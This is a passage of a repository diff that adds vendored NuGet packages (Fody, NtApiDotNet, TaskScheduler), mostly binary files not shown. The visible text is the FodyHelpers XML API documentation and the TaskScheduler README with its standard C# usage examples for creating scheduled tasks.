Replacement for <see cref="P:Mono.Cecil.ModuleDefinition.TypeSystem"/>.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
</members>
|
||||||
|
</doc>
|
||||||
BIN
packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/net472/FodyTasks.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/FodyTasks.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll
vendored
Normal file
Binary file not shown.
293
packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml
vendored
Normal file
293
packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml
vendored
Normal file
|
|
@ -0,0 +1,293 @@
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<doc>
|
||||||
|
<assembly>
|
||||||
|
<name>FodyHelpers</name>
|
||||||
|
</assembly>
|
||||||
|
<members>
|
||||||
|
<member name="T:Fody.BaseModuleWeaver">
|
||||||
|
<summary>
|
||||||
|
Base class for module weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.Config">
|
||||||
|
<summary>
|
||||||
|
The full element XML from FodyWeavers.xml.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteDebug(System.String)">
|
||||||
|
<summary>
|
||||||
|
Write a log entry to MSBuild with the <see cref="F:Fody.MessageImportance.Low"/> level
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogDebug">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a log entry at the <see cref="F:Fody.MessageImportance.Low"/> level.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteInfo(System.String)">
|
||||||
|
<summary>
|
||||||
|
Write a log entry to MSBuild with the <see cref="F:Fody.MessageImportance.Normal"/> level
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogInfo">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a log entry at the <see cref="F:Fody.MessageImportance.Normal"/> level.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteMessage(System.String,Fody.MessageImportance)">
|
||||||
|
<summary>
|
||||||
|
Write a log entry to MSBuild with <paramref name="importance"/> level
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogMessage">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a log entry at a specific <see cref="T:Fody.MessageImportance"/> level.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String)">
|
||||||
|
<summary>
|
||||||
|
Write a warning to MSBuild.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String,Mono.Cecil.Cil.SequencePoint)">
|
||||||
|
<summary>
|
||||||
|
Write a warning to MSBuild and use <paramref name="sequencePoint"/> for the file and line information.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String,Mono.Cecil.MethodDefinition)">
|
||||||
|
<summary>
|
||||||
|
Write a warning to MSBuild and use <paramref name="method"/> for the file and line information.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogWarning">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a warning.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogWarningPoint">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a warning at a specific point in the code
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String)">
|
||||||
|
<summary>
|
||||||
|
Write an error to MSBuild.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String,Mono.Cecil.Cil.SequencePoint)">
|
||||||
|
<summary>
|
||||||
|
Write an error to MSBuild and use <paramref name="sequencePoint"/> for the file and line information.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String,Mono.Cecil.MethodDefinition)">
|
||||||
|
<summary>
|
||||||
|
Write a error to MSBuild and use <paramref name="method"/> for the file and line information.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogError">
|
||||||
|
<summary>
|
||||||
|
Handler for writing an error.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogErrorPoint">
|
||||||
|
<summary>
|
||||||
|
Handler for writing an error at a specific point in the code.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ResolveAssembly">
|
||||||
|
<summary>
|
||||||
|
Handler for resolving <see cref="T:Mono.Cecil.AssemblyDefinition"/>s.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.AssemblyResolver">
|
||||||
|
<summary>
|
||||||
|
The current <see cref="T:Mono.Cecil.IAssemblyResolver"/>s.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ModuleDefinition">
|
||||||
|
<summary>
|
||||||
|
An instance of <see cref="T:Mono.Cecil.ModuleDefinition"/> for processing.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.TypeSystem">
|
||||||
|
<summary>
|
||||||
|
Commonly used <see cref="T:Mono.Cecil.TypeReference"/>s.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.AssemblyFilePath">
|
||||||
|
<summary>
|
||||||
|
The full path of the target assembly.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ProjectDirectoryPath">
|
||||||
|
<summary>
|
||||||
|
The full directory path of the target project.
|
||||||
|
A copy of $(MSBuildProjectDirectory).
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ProjectFilePath">
|
||||||
|
<summary>
|
||||||
|
The full file path of the target project.
|
||||||
|
A copy of $(MSBuildProjectFullPath).
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.DocumentationFilePath">
|
||||||
|
<summary>
|
||||||
|
The full directory path of the XML documentation file,
|
||||||
|
if generating the documentation file is enabled in the project.
|
||||||
|
A copy of @(DocFileItem->'%(FullPath)').
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.AddinDirectoryPath">
|
||||||
|
<summary>
|
||||||
|
The full directory path of the current weaver.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.SolutionDirectoryPath">
|
||||||
|
<summary>
|
||||||
|
The full directory path of the current solution.
|
||||||
|
A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.References">
|
||||||
|
<summary>
|
||||||
|
A semicolon delimited string that contains
|
||||||
|
all the references for the target project.
|
||||||
|
A copy of the contents of the @(ReferencePath).
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ReferenceCopyLocalPaths">
|
||||||
|
<summary>
|
||||||
|
A list of all the references marked as copy-local.
|
||||||
|
A copy of the contents of the @(ReferenceCopyLocalPaths).
|
||||||
|
</summary>
|
||||||
|
<remarks>
|
||||||
|
This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build.
|
||||||
|
</remarks>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.RuntimeCopyLocalPaths">
|
||||||
|
<summary>
|
||||||
|
A list of all the runtime references marked as copy-local.
|
||||||
|
A copy of the contents of the @(RuntimeCopyLocalItems).
|
||||||
|
</summary>
|
||||||
|
<remarks>
|
||||||
|
This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build.
|
||||||
|
</remarks>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.DefineConstants">
|
||||||
|
<summary>
|
||||||
|
A list of all the msbuild constants.
|
||||||
|
A copy of the contents of the $(DefineConstants).
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.Execute">
|
||||||
|
<summary>
|
||||||
|
Called when the weaver is executed.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.Cancel">
|
||||||
|
<summary>
|
||||||
|
Called when a request to cancel the build occurs.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.GetAssembliesForScanning">
|
||||||
|
<summary>
|
||||||
|
Return a list of assembly names for scanning.
|
||||||
|
Used as a list for <see cref="P:Fody.BaseModuleWeaver.FindType"/>.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.FindTypeDefinition(System.String)">
|
||||||
|
<summary>
|
||||||
|
Find a <see cref="T:Mono.Cecil.TypeDefinition"/>.
|
||||||
|
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.FindType">
|
||||||
|
<summary>
|
||||||
|
Handler for searching for a type.
|
||||||
|
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.TryFindTypeDefinition(System.String,Mono.Cecil.TypeDefinition@)">
|
||||||
|
<summary>
|
||||||
|
Find a <see cref="T:Mono.Cecil.TypeDefinition"/>.
|
||||||
|
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.TryFindType">
|
||||||
|
<summary>
|
||||||
|
Handler for searching for a type.
|
||||||
|
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.AfterWeaving">
|
||||||
|
<summary>
|
||||||
|
Called after all weaving has occurred and the module has been saved.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ShouldCleanReference">
|
||||||
|
<summary>
|
||||||
|
Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed)
|
||||||
|
should be removed by Fody after a successful execution
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.MessageImportance">
|
||||||
|
<summary>
|
||||||
|
Abstraction for the MSBuild MessageImportance.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.MessageImportanceDefaults">
|
||||||
|
<summary>
|
||||||
|
Defaults for <see cref="T:Fody.MessageImportance"/> when writing to <see cref="P:Fody.BaseModuleWeaver.LogDebug"/> and <see cref="P:Fody.BaseModuleWeaver.LogInfo"/>.
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.Ildasm">
|
||||||
|
<summary>
|
||||||
|
Decompile assemblies using ildasm.exe.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.LogMessage">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.PeVerifier">
|
||||||
|
<summary>
|
||||||
|
Verifies assemblies using peverify.exe.
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.SequencePointMessage">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.TestAssemblyResolver">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.TestResult">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.WeaverTestHelper">
|
||||||
|
<summary>
|
||||||
|
Uses <see cref="P:System.Reflection.Assembly.CodeBase"/> to derive the current directory.
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.TypeCache">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.TypeSystem">
|
||||||
|
<summary>
|
||||||
|
Replacement for <see cref="P:Mono.Cecil.ModuleDefinition.TypeSystem"/>.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
</members>
|
||||||
|
</doc>
|
||||||
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb
vendored
Normal file
Binary file not shown.
BIN
packages/NtApiDotNet.1.1.33/.signature.p7s
vendored
Normal file
BIN
packages/NtApiDotNet.1.1.33/.signature.p7s
vendored
Normal file
Binary file not shown.
BIN
packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg
vendored
Normal file
BIN
packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg
vendored
Normal file
Binary file not shown.
BIN
packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll
vendored
Normal file
BIN
packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll
vendored
Normal file
Binary file not shown.
51865
packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml
vendored
Normal file
51865
packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml
vendored
Normal file
File diff suppressed because it is too large
Load diff
BIN
packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll
vendored
Normal file
BIN
packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll
vendored
Normal file
Binary file not shown.
51865
packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml
vendored
Normal file
51865
packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml
vendored
Normal file
File diff suppressed because it is too large
Load diff
BIN
packages/TaskScheduler.2.12.2/.signature.p7s
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/.signature.p7s
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg
vendored
Normal file
Binary file not shown.
72
packages/TaskScheduler.2.12.2/TaskService.md
vendored
Normal file
72
packages/TaskScheduler.2.12.2/TaskService.md
vendored
Normal file
|
|
@ -0,0 +1,72 @@
|
||||||
|
## About
|
||||||
|
The original and most popular .NET wrapper for the [Windows Task Scheduler](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page). It provides functionally complete classes that cover all development aspects related to system tasks.
|
||||||
|
|
||||||
|
More information can be found on the [project page on GitHub](https://github.com/dahall/taskscheduler).
|
||||||
|
|
||||||
|
## Support
|
||||||
|
Below are links to sites that provide in-depth examples, documentation and discussions. Please go here first with your questions as the community has been active for over a decade.
|
||||||
|
* [Wiki](https://github.com/dahall/TaskScheduler/wiki) - Sample code, library how-to, troubleshooting, etc.
|
||||||
|
* [API documentation](https://dahall.github.io/TaskScheduler) - Class/method/property documentation and examples
|
||||||
|
* [Full Issues Log](https://github.com/dahall/TaskScheduler/issues?q=) - Use the search box to see if your question may already be answered.
|
||||||
|
* [Discussion Forum](https://github.com/dahall/TaskScheduler/discussions) - Users helping users, enhancement requests, Q&A (retired Google forum [here](https://groups.google.com/forum/#!forum/taskscheduler))
|
||||||
|
* [Troubleshooting Tool](https://github.com/dahall/TaskSchedulerConfig) - Tool to help identify and fix configuration and connectivity issues. (ClickOnce installer [here](https://github.com/dahall/TaskSchedulerConfig/blob/master/publish/setup.exe?raw=true))
|
||||||
|
|
||||||
|
## Key Features
|
||||||
|
Microsoft introduced version 2.0 (internally version 1.2) with a completely new object model with Windows Vista. The managed assembly closely resembles the new object model but allows the 1.0 (internally version 1.1) COM objects to be manipulated. It will automatically choose the most recent version of the library found on the host system (up through 1.4). Core features include:
|
||||||
|
|
||||||
|
* Separate, functionally identical, libraries for .NET 2.0, 3.5, 4.0, 4.52, 5.0, 6.0, .NET Standard 2.0, .NET Core 2.0, 2.1, 3.0, 3.1.
|
||||||
|
* Unlike the base COM libraries, this wrapper accommodates creating and viewing tasks up and down stream.
|
||||||
|
* Supports all V2 native properties, even under V1 tasks.
|
||||||
|
* Maintain EmailAction and ShowMessageAction using PowerShell scripts for systems after Win8 where these actions have been deprecated.
|
||||||
|
* Supports all action types (not just ExecAction) on V1 systems (XP/WS2003) and earlier (if PowerShell is installed).
|
||||||
|
* Supports multiple actions on V1 systems (XP/WS2003). Native library only supports a single action.
|
||||||
|
* Supports serialization to XML for both 1.0 and 2.0 tasks (base library only supports 2.0)
|
||||||
|
* Supports task validation for targeted version.
|
||||||
|
* Supports secure task reading and maintenance.
|
||||||
|
* Fluent methods for task creation.
|
||||||
|
* Cron syntax for trigger creation.
|
||||||
|
|
||||||
|
The currently supported localizations include: English, Spanish, Italian, French, Chinese (Simplified), German, Polish and Russian.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
You can perform several actions in a single line of code:
|
||||||
|
```C#
|
||||||
|
// Run a program every day on the local machine
|
||||||
|
TaskService.Instance.AddTask("Test", QuickTriggerType.Daily, "myprogram.exe", "-a arg");
|
||||||
|
|
||||||
|
// Run a custom COM handler on the last day of every month
|
||||||
|
TaskService.Instance.AddTask("Test", new MonthlyTrigger { RunOnLastDayOfMonth = true },
|
||||||
|
new ComHandlerAction(new Guid("{CE7D4428-8A77-4c5d-8A13-5CAB5D1EC734}")));
|
||||||
|
```
|
||||||
|
|
||||||
|
For many more options, use the library classes to build a complex task. Below is a brief example of how to use the library from C#.
|
||||||
|
```C#
|
||||||
|
using System;
|
||||||
|
using Microsoft.Win32.TaskScheduler;
|
||||||
|
|
||||||
|
class Program
|
||||||
|
{
|
||||||
|
static void Main()
|
||||||
|
{
|
||||||
|
// Get the service on the remote machine
|
||||||
|
using (TaskService ts = new TaskService(@"\\RemoteServer", "username", "domain", "password"))
|
||||||
|
{
|
||||||
|
// Create a new task definition and assign properties
|
||||||
|
TaskDefinition td = ts.NewTask();
|
||||||
|
td.RegistrationInfo.Description = "Does something";
|
||||||
|
|
||||||
|
// Create a trigger that will fire the task at this time every other day
|
||||||
|
td.Triggers.Add(new DailyTrigger { DaysInterval = 2 });
|
||||||
|
|
||||||
|
// Create an action that will launch Notepad whenever the trigger fires
|
||||||
|
td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null));
|
||||||
|
|
||||||
|
// Register the task in the root folder.
|
||||||
|
// (Use the username here to ensure remote registration works.)
|
||||||
|
ts.RootFolder.RegisterTaskDefinition(@"Test", td, TaskCreation.CreateOrUpdate, "username");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
For extended examples on how to the use the library, look at the [Examples Page](https://github.com/dahall/TaskScheduler/wiki/Examples).
|
||||||
BIN
packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll
vendored
Normal file
Binary file not shown.
7855
packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml
vendored
Normal file
7855
packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml
vendored
Normal file
File diff suppressed because it is too large
Load diff
BIN
packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll
vendored
Normal file
Binary file not shown.
7855
packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml
vendored
Normal file
7855
packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml
vendored
Normal file
File diff suppressed because it is too large
Load diff
BIN
packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
BIN
packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll
vendored
Normal file
Binary file not shown.
BIN
packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll
